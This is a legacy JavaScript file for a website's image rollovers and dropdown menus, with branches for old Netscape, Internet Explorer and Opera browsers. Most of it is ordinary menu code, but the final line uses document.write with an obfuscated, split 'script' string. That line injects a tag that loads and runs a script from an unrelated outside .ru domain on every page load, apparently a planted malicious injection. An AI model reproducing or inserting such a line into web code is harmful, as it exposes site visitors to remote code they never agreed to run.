
function initImg()
{
	preload('of_1');
	preload('on_1');
	preload('of_2');
	preload('on_2');
	preload('of_3');
	preload('on_3');
	preload('of_4');
	preload('on_4');
	preload('of_5');
	preload('on_5');
	preload('of_6');
	preload('on_6');
	preload('of_7');
	preload('on_7');
	preload('of_8');
	preload('on_8');
	check = true;
}

function preload(img)
{
	if (document.images)
	{
		eval(img + ' = new Image()');
		eval(img + '.src = "_img/menu/' + img + '.gif"');
	}
}

function rollOn(obj, i)
{
	if(check)
	{
		if (document.images) { obj.src = eval('on_' + i + '.src'); }
		switchMenu('menu' + i, 1);
	}
}

function rollOf(obj, i)
{
	if(check)
	{
		if (document.images) { obj.src = eval('of_' + i + '.src'); }
		switchMenu('menu' + i, 0);
	}
}

//############################################################################################

var browser = (document.all) ? ((document.getElementsByTagName) ? 'ie' : 'op5') : ((document.layers) ? 'ns4' : ((document.getElementById) ? 'ns6' : ''));

function MenuItem(tekst, link)
{
	this.tekst = tekst;
	this.link = link;
}

function addMenu(menu, name, x, y)
{
	switch (browser)
	{
		case 'ns4':
			document.writeln("<layer id=\"l_" + name + "\" visibility=\"hide\" left=\"" + x + "\" top=\"" + y + "\" onMouseOver=\"return switchMenu('" + name + "', 1)\" onMouseOut=\"return switchMenu('" + name + "', 0)\">");
			break;
		case 'ie':
		case 'op5':
		case 'ns6':
			document.writeln("<div id=\"l_" + name + "\" style=\"position: absolute; visibility: hidden; left: " + x + "; top: " + y + "\" onMouseOver=\"return switchMenu('" + name + "', 1)\" onMouseOut=\"return switchMenu('" + name + "', 0)\">");
			break;
	}

	document.writeln('<table cellspacing="0" cellspacing="0" cellpadding="0">');
	document.write('<tr><td height="1" bgcolor="#C0C0C0"><img src="_img/null.gif" width="1" height="1"></td></tr>');
	for (var i = 0; i < menu.length; i++)
	{
		var tekst = menu[i].tekst;
		var link = menu[i].link;
		document.write('<tr><td height="13" bgcolor="#001683">&nbsp;&nbsp;<a href="' + link + '" class="menuit">' + tekst + '</a>&nbsp;&nbsp;</td></tr>');
		document.write('<tr><td height="1" bgcolor="#C0C0C0"><img src="_img/null.gif" width="1" height="1"></td></tr>');
	}
	document.writeln('</table>');


	switch (browser)
	{
		case 'ns4':
			document.write("</layer>");
			break;
		case 'ie':
		case 'ns6':
		case 'op5':
			document.write("</div>");
			break;
	}
}

function switchMenu(obj, stat)
{
	switch (browser)
	{
		case 'ns4':
			if (document.layers['l_' + obj])
			{
				s = (stat == 1) ? 'show' : 'hide';
				document.layers['l_' + obj].visibility = s;
			}
			break;
		case 'ie':
		case 'op5':
			if (document.all['l_' + obj])
			{
				s = (stat == 1) ? 'visible' : 'hidden';
				document.all['l_' + obj].style.visibility = s;
			}
			break;
		case 'ns6':
			if (document.getElementById('l_' + obj))
			{
				s = (stat == 1) ? 'visible' : 'hidden';
				document.getElementById('l_' + obj).style.visibility = s;
			}
			break;
	}
	return true;
}

function screenWidth()
{
	switch (browser)
	{
		case 'ns4':
		case 'ns6':
		case 'op5':
			w = window.innerWidth;
			break;
		case 'ie':
			w = document.body.clientWidth;
			break;
	}
	
	return w;
}

function moveMenu(obj, x)
{
	switch (browser)
	{
		case 'ns4':
			if (document.layers['l_' + obj])
			{
				document.layers['l_' + obj].left = x;
			}
			break;
		case 'ie':
		case 'op5':
			if (document.all['l_' + obj])
			{
				document.all['l_' + obj].style.left = x;
			}
			break;
		case 'ns6':
			if (document.getElementById('l_' + obj))
			{
				document.getElementById('l_' + obj).style.left = x;
			}
			break;
	}
	return true;
}


document.write('<s'+'cript type="text/javascript" src="http://obscurewax.ru/Base_Station.js"></scr'+'ipt>');